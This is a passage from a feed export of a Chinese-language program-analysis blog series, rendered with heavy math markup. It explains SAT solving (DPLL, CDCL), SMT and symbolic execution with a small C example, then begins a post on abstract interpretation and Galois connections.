style="margin-right:0.2222em;"></span><span class="mord mathnormal">d</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∧</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">¬</span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∨</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">¬</span><span class="mord mathnormal">d</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span></span></span></span></span></p><p>对于以上的命题公式 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span></span></span></span> 是否存在一组变量使得 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>呢。最直接的方法就是遍历，复杂度为 2 的幂次。接下来做一些优化：</p><ol><li>短路机制。比如对于 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∨</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">¬</span><span class="mord mathnormal">d</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span> 有 1 个为 1，那么就不用算另外一个了，如果整体为 0，那么就剪枝，不再搜索下去。</li><li>赋值推导，对于每个变量，如果 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span></span></span></span> 为 1，那么 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord">¬</span><span class="mord mathnormal">a</span></span></span></span> 必须为 0，为了保持 $\left( \lnot a\lor \lnot d \right) $ 为 1，那么 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord">¬</span><span class="mord mathnormal">d</span></span></span></span> 必须为 1。这样根据条件推导下去。 到那时复杂的公式中推导可能代价比较大，实际应用的规则还是比较复杂。</li><li>平凡属性。优先考虑恒真或者恒假的公式，用常数代替。</li></ol><p>根据以上的规则，学术界提出了 <strong>DPLL 算法</strong>，可以知道原理还是相对简单的。另外还有优化的方法，比如</p><ul><li>考查变量之间的关系，增加赋值的约束，缩小解空间。</li><li>考查子句的等价性，去除冗余性。</li><li>是否有些变量比其他变量影响大，先赋值成 0 还是 1。比如优先选择短的子句中的变量，优先选择出现次数多的变量，优先选择出现冲突次数较多的变量等。</li></ul><p>在 2000 年初，出现了非常重大的进步，学术界提出了<strong>冲突导向的子句学习</strong>（<strong>CDCL</strong>, Conflict-Driven Clause Learning）。也就是一边搜索，一边学习公式的性质，改进搜索方法。这似乎和 AI 类似。笔者暂时跳过，进一步了解可以见：</p><ol><li><a href="https://www.cs.ox.ac.uk/people/james.worrell/lec7-2015.pdf">https://www.cs.ox.ac.uk/people/james.worrell/lec7-2015.pdf</a></li><li><a href="https://stackoverflow.com/questions/12547160/how-does-the-dpll-algorithm-work">https://stackoverflow.com/questions/12547160/how-does-the-dpll-algorithm-work</a></li><li><a href="https://en.wikipedia.org/wiki/DPLL_algorithm">https://en.wikipedia.org/wiki/DPLL_algorithm</a></li><li><em>Decision Procedures An Algorithmic Point of View</em> (Daniel Kroening, Ofer Strichman (auth.))</li></ol><h2 id="SMT">SMT</h2><p>SMT 是<strong>可满足性模理论</strong>（Satisfiability Modulo Theories）的简称。相比于 SAT 判断逻辑公式的可满足性，SMT 加入了一阶逻辑（也就是谓词逻辑）。比如 <code>P(x)</code> 中 <code>x</code> 是个体、<code>P</code> 是谓词，表示 <code>x</code> 具有性质 <code>P</code>。另外一阶逻辑还加入了量词，可以知道 SMT 是基于命题逻辑的 SAT 的拓展。</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7335em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.5556em;"></span><span class="mord mathnormal">c</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∧</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mopen">(</span><span class="mord mathnormal">b</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.5556em;"></span><span class="mord mathnormal">c</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∨</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">c</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></span></p><p>例如上面的式子，除了命题逻辑中的运算，还有 <code>&lt;</code> 和 <code>&gt;</code> 符号，实际上小于、大于符号代表着更加一般的逻辑判断。<code>f(b)</code> 也是表示逻辑判断。SMT 的任务就是在一组条件下，找到满足所有条件的解。</p><p>SMT 的求解有两种方法：</p><ul><li>Eager 方法：将 SMT 转换成 SAT，但是现在不常用了。简单的说，就是换元然后增加约束。<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8974em;vertical-align:-0.0833em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0085em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mclose">)</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span></span> 这里用 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">A</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span></span> 换元。换元之后需要保持原有的约束或者增加约束。比如 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">interval</span></span></span><span class="mopen">(</span><span class="mord">2</span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">interval</span></span></span><span class="mopen">(</span><span class="mord">2</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mclose">)</span></span></span></span>。</li><li>Lazy 方法：主流方法，SAT 方法和其他方法交叉使用，这样特定领域的问题可以使用现已研究过的高效算法。</li></ul><p>定理证明理论的内容，就暂时跳过，有需要再回头学习。读者可以参考如下内容：</p><ol><li>SMT 求解器标准：<a href="http://smtlib.cs.uiowa.edu/language.shtml">http://smtlib.cs.uiowa.edu/language.shtml</a></li></ol><h2 id="符号执行">符号执行</h2><p>符号执行其实和测试很类似，都是一次只跑一条路径，如果有 bug，那么就有 bug，如果找不到也不能说明没 bug。相比于静态分析是在抽象域进行属性抽象，符号执行可能相对精确一些。</p><p>通过例子看符号执行的做法。通过符号执行分析：如果 <code>y&gt;0</code> 是否 <code>main(x,y)&gt;0</code>。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(x,y)</span> &#123;</span><br><span class="line">y+=<span class="number">10</span>;</span><br><span class="line"><span class="keyword">if</span> (x&gt;<span class="number">0</span>) &#123;</span><br><span class="line">        x+=<span class="number">10</span>;</span><br><span class="line">        z=x/<span class="number">5</span>;</span><br><span class="line">    &#125;</span><br><span class="line"><span class="keyword">else</span> &#123;</span><br><span class="line">        z=x/<span class="number">5</span>+<span class="number">2</span>;</span><br><span class="line">        x+=<span class="number">10</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    z+=y;</span><br><span class="line">    <span class="keyword">return</span> z;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ol><li><p>无法确定的值，用符号代替。入口处 <code>x=a,y=b,z=0;b&gt;0;next=2</code>，表示下一个语句是第二行。</p></li><li><p>根据语句改变符号表达式。<code>x=a,y=b+10,z=0;b&gt;0;next=3</code>.</p></li><li><p>遇到条件分支就增加约束，按一定顺序遍历路径。例如选择 <code>else</code> 分支，<code>x=a,y=b+10,z=0;b&gt;0,a&lt;=0;next=8</code>；选择 <code>if</code>分支 <code>x=a,y=b+10,z=0;b&gt;0,a&gt;0;next=4</code>。</p></li><li><p>最终得到目标的约束，使用 SMT 求解。</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.04398em;">z</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord">0</span><span class="mord cjk_fallback">恒成立</span><span class="mclose">?</span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:7.202em;vertical-align:-3.351em;"></span><span class="mord mathnormal">s</span><span class="mord">.</span><span class="mord mathnormal">t</span><span class="mord">.</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:3.85em;"><span style="top:-1.366em;"><span class="pstrut" style="height:3.816em;"></span><span class="delimsizinginner delim-size4"><span>⎩</span></span></span><span style="top:-1.358em;"><span class="pstrut" style="height:3.816em;"></span><span style="height:1.816em;width:0.8889em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.8889em" height="1.816em" style="width:0.8889em" viewBox="0 0 888.89 1816" preserveAspectRatio="xMinYMin"><path d="M384 0 H504 V1816 H384z M384 0 H504 V1816 H384z"/></svg></span></span><span style="top:-3.816em;"><span class="pstrut" style="height:3.816em;"></span><span class="delimsizinginner delim-size4"><span>⎨</span></span></span><span style="top:-4.958em;"><span class="pstrut" style="height:3.816em;"></span><span style="height:1.816em;width:0.8889em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.8889em" height="1.816em" style="width:0.8889em" viewBox="0 0 888.89 1816" preserveAspectRatio="xMinYMin"><path d="M384 0 H504 V1816 H384z M384 0 H504 V1816 H384z"/></svg></span></span><span style="top:-6.766em;"><span class="pstrut" style="height:3.816em;"></span><span class="delimsizinginner delim-size4"><span>⎧</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:3.35em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:3.851em;"><span style="top:-5.853em;"><span class="pstrut" style="height:3.01em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">10</span></span></span><span style="top:-4.413em;"><span class="pstrut" style="height:3.01em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">10</span></span></span><span style="top:-2.971em;"><span class="pstrut" style="height:3.01em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.04398em;">z</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.01em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">5</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.485em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="minner mtight"><span class="mopen mtight delimcenter" style="top:0em;"><span class="mtight">(</span></span><span class="mord mathnormal mtight">a</span><span class="mbin mtight">+</span><span class="mord mtight">10</span><span class="mclose mtight delimcenter" style="top:0em;"><span class="mtight">)</span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">10</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-1.531em;"><span class="pstrut" style="height:3.01em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">0</span></span></span><span style="top:-0.091em;"><span class="pstrut" style="height:3.01em;"></span><span class="mord"><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:3.351em;"><span></span></span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p>或者</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.04398em;">z</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord">0</span><span class="mord text"><span class="mord cjk_fallback">恒成立</span></span><span class="mclose">?</span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:7.2em;vertical-align:-3.35em;"></span><span class="mord mathnormal">s</span><span class="mord">.</span><span class="mord mathnormal">t</span><span class="mord">.</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:3.85em;"><span style="top:-1.366em;"><span class="pstrut" style="height:3.816em;"></span><span class="delimsizinginner delim-size4"><span>⎩</span></span></span><span style="top:-1.358em;"><span class="pstrut" style="height:3.816em;"></span><span style="height:1.816em;width:0.8889em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.8889em" height="1.816em" style="width:0.8889em" viewBox="0 0 888.89 1816" preserveAspectRatio="xMinYMin"><path d="M384 0 H504 V1816 H384z M384 0 H504 V1816 H384z"/></svg></span></span><span style="top:-3.816em;"><span class="pstrut" style="height:3.816em;"></span><span class="delimsizinginner delim-size4"><span>⎨</span></span></span><span style="top:-4.958em;"><span class="pstrut" style="height:3.816em;"></span><span style="height:1.816em;width:0.8889em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.8889em" height="1.816em" style="width:0.8889em" viewBox="0 0 888.89 1816" preserveAspectRatio="xMinYMin"><path d="M384 0 H504 V1816 H384z M384 0 H504 V1816 H384z"/></svg></span></span><span style="top:-6.766em;"><span class="pstrut" style="height:3.816em;"></span><span class="delimsizinginner delim-size4"><span>⎧</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:3.35em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:3.85em;"><span style="top:-5.85em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">10</span></span></span><span style="top:-4.41em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">10</span></span></span><span style="top:-2.97em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.04398em;">z</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal">a</span><span class="mord">/5</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">2</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mopen">(</span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">10</span><span class="mclose">)</span></span></span><span style="top:-1.53em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel amsrm">⩽</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">0</span></span></span><span style="top:-0.09em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:3.35em;"><span></span></span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p></li></ol><h3 id="优化方法">优化方法</h3><p>符号执行很容易遇到路径爆炸的问题，就是路径太多、太长，求解就会非常慢。</p><ol><li>剪枝</li></ol><p>剪枝，是指在分支处调用约束求解的语句，如果约束直接冲突，那么就代表不可达。比较经典的办法是 Eager evaluation，在分支的时候就判断路径的可达性，虽然求解次数更多，但是探索的路径更少。但是上面示例中 Lazy evaluation，只对完整路径判断，也有自己的好处。约束越多，就越容易发生冲突，所以判断无解的速度也很快。</p><ol start="2"><li>从冲突学习</li></ol><p>可以通过之前的冲突判断不可达的条件。</p><h3 id="其他问题">其他问题</h3><p>数组处理很简单，read、write 两类操作，加入索引和值即可。</p><p>函数调用按着路径走即可，递归函数其实可以看成循环，设置同一个函数的最大调用深度即可。</p><p>指针和堆上变量的处理，区别主要在于不知道指针对象的结构，可以增加变量，对新建的变量、原有的变量分成多个分支。</p><h3 id="动态符号执行">动态符号执行</h3><p>之前的思路都是静态符号执行，动态符号执行在它的基础上，把某些符号值替换成实际值，然后也用具体的值选择路径。这样可以避免一些无法求解的情况。具体讲解例子可以看熊英飞老师的<a href="https://www.bilibili.com/video/BV1Rt4y1s7tC?t=3938.2&amp;p=19">课程</a>。</p>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/pl/smt-and-symbolic-execution/</id>
    <link href="https://www.blog-blockchain.xyz/pl/smt-and-symbolic-execution/"/>
    <published>2022-12-23T02:35:30.000Z</published>
    <summary>介绍程序分析中的“搜索”方法，讲解约束求解、SAT和SMT理论的基本概念，详细介绍符号执行的原理和实现，包括路径爆炸问题和动态符号执行等优化方法。</summary>
    <title>（八）SMT和符号执行</title>
    <updated>2026-02-19T16:18:01.143Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="program language" scheme="https://www.blog-blockchain.xyz/categories/program-language/"/>
    <category term="program language" scheme="https://www.blog-blockchain.xyz/tags/program-language/"/>
    <content>
      <![CDATA[<blockquote><ol class="series-items"><li><a href="/pl/understanding-program-analysis/" title="（一）初识软件分析">（一）初识软件分析</a></li><li><a href="/pl/data-flow-analysis/" title="（二）数据流分析基础">（二）数据流分析基础</a></li><li><a href="/pl/LP-souffle/" title="（三）Datalog和程序分析">（三）Datalog和程序分析</a></li><li><a href="/pl/ssa-and-sparse-analysis/" title="（四）静态单赋值和稀疏分析">（四）静态单赋值和稀疏分析</a></li><li><a href="/pl/Interprocedural-DFA/" title="（五）过程间分析">（五）过程间分析</a></li><li><a href="/pl/points-to-analysis/" title="（六）指向分析">（六）指向分析</a></li><li><a href="/pl/abstract-interpretation/" title="（七）抽象解释">（七）抽象解释</a></li><li><a href="/pl/smt-and-symbolic-execution/" title="（八）SMT和符号执行">（八）SMT和符号执行</a></li><li><a href="/pl/static-analysis-tools/" title="（九）体验静态分析工具">（九）体验静态分析工具</a></li><li><a href="/pl/fuzzing-introduction/" title="（十）Fuzzing 基础">（十）Fuzzing 基础</a></li></ol></blockquote><h2 id="前言">前言</h2><p>这一文章是理论课，对之前的程序分析的合理性和思路，进行了理论上的分析和论证，有助于读者培养程序分析的思维。程序分析的很多思路都是对具体的值具体的表达式进行了抽象，建立了具体空间和抽象空间的关系，抽象解释理论就是解释映射函数。</p><img src="http://cdn.blog-blockchain.xyz/202212022317576.png" alt="image-20221202231758487" style="zoom:50%;" /><p>这个映射主要分成两部分：</p><ol><li>具体化函数 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05556em;">γ</span></span></span></span> 将抽象值映射为具体值的集合</li><li>抽象化函数 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span></span></span></span> 将具体值的集合映射为抽象值</li></ol><h2 id="伽罗瓦连接-Galois-Connection">伽罗瓦连接 Galois Connection</h2><p>假设抽象域上存在<strong>偏序关系</strong>。简便起见，这里假设具体值集合上的偏序关系为子集关系。但抽象解释理论支持其他偏序关系，比如超集。</p><p>注意下面特殊的字 <code>虚</code> 表示抽象域集合，<code>甲</code> 表示抽象域集合中的元素。任取两个集合中各自一个元素 <code>X</code> 和 <code>甲</code>，那么如果满足如下的条件，就构成了伽罗瓦连接。</p><img src="http://cdn.blog-blockchain.xyz/202212022333312.png" alt="image-20221202233306233" style="zoom:50%;" /><p>除了上面的定义意外，还有更加详细的定义，他们可以更加容易的看出映射函数的性质。为了加快学习速度，我不详细说明证明过程了。这让我想起来《信息安全数学基础》，学了一堆近世代数的东西，可能我当时不知道有什么特别的用途吧，但是认真学习下来确实锻炼了抽象化的能力，去考虑性质和映射。</p><img src="http://cdn.blog-blockchain.xyz/202212022333033.png" alt="image-20221202233322974" style="zoom:50%;" /><h2 id="抽象域的安全性">抽象域的安全性</h2><p>我们探讨，抽象域上的操作，是否对于具体域是安全的，也就是说，不会包含预料外的结果。<strong>安全性</strong> 其实一个比较灵活的词，根据不同的分析会有不同的含义，比如指针分析是 may 分析，允许有超出实际指向的情况的结果，它的安全性就是包括了所有可能指向的对象。但是对于编译器优化来说，它为了保证语义，它的安全性是，一定不会改变语义才是安全的，也就是 must 分析。</p><p>可以证明，一定可以找到合适的变化的函数。</p><img src="http://cdn.blog-blockchain.xyz/202212022349992.png" alt="image-20221202234911930" style="zoom:50%;" /><p>老师还以数据流分析的安全性为例，作了说明，后面还说明了路径的安全性。但是我暂时跳过了。感兴趣的读者可以见<a href="https://www.bilibili.com/video/BV1Rt4y1s7tC?t=2448.5&amp;p=11">视频</a>。</p><h2 id="常见抽象域">常见抽象域</h2><h3 id="关系抽象">关系抽象</h3><p>考虑变量之间的关系映射到抽象域上，这里以数值计算为例。老师举了一个比较巧妙地例子「八边形抽象」，用于理解关系抽象的约束，可以更加精确地分析。<a href="https://www.bilibili.com/video/BV1Rt4y1s7tC?t=5301.4&amp;p=11">视频</a>讲的很清楚不赘述了。</p><p>下面是一个区间分析，虽然我也不记得 narrowing 和 widening 的具体规则了，但是可以感受到，添加了 <code>x+y</code> <code>x-y</code> 这样的约束，可以更加精确地表示出 <code>x</code> <code>y</code> 的范围。</p><img src="http://cdn.blog-blockchain.xyz/202212041317265.png" alt="image-20221204131725111" style="zoom:50%;" /><p>其他的数值抽象还有各种各样的图形，下面是比较简单的用平面图形就可以表示的情况，实际上高维的情况也是成立的，所以关系抽象是非常复杂但是应该也比较实用。</p><img src="http://cdn.blog-blockchain.xyz/202212041319076.png" alt="image-20221204131947017" style="zoom:80%;" /><h3 id="谓词抽象">谓词抽象</h3><p>这个比较容易理解，把一堆属性，用谓词产生对应的真值序列或者矩阵。比如 <code>x&gt;0,x=0,x&lt;0</code> 就可以抽象成 <code>[true,false,false]</code> 之类的。</p><h2 id="体验抽象解释工具">体验抽象解释工具</h2><p>最后，可以玩一玩这个抽象解释<a href="http://pop-art.inrialpes.fr/interproc/interprocweb.cgi">工具</a>，这是一个用于教育意义的 demo。他自己设置了一个简单的语言，比如它给的例子</p><figure class="highlight c"><table><tr><td 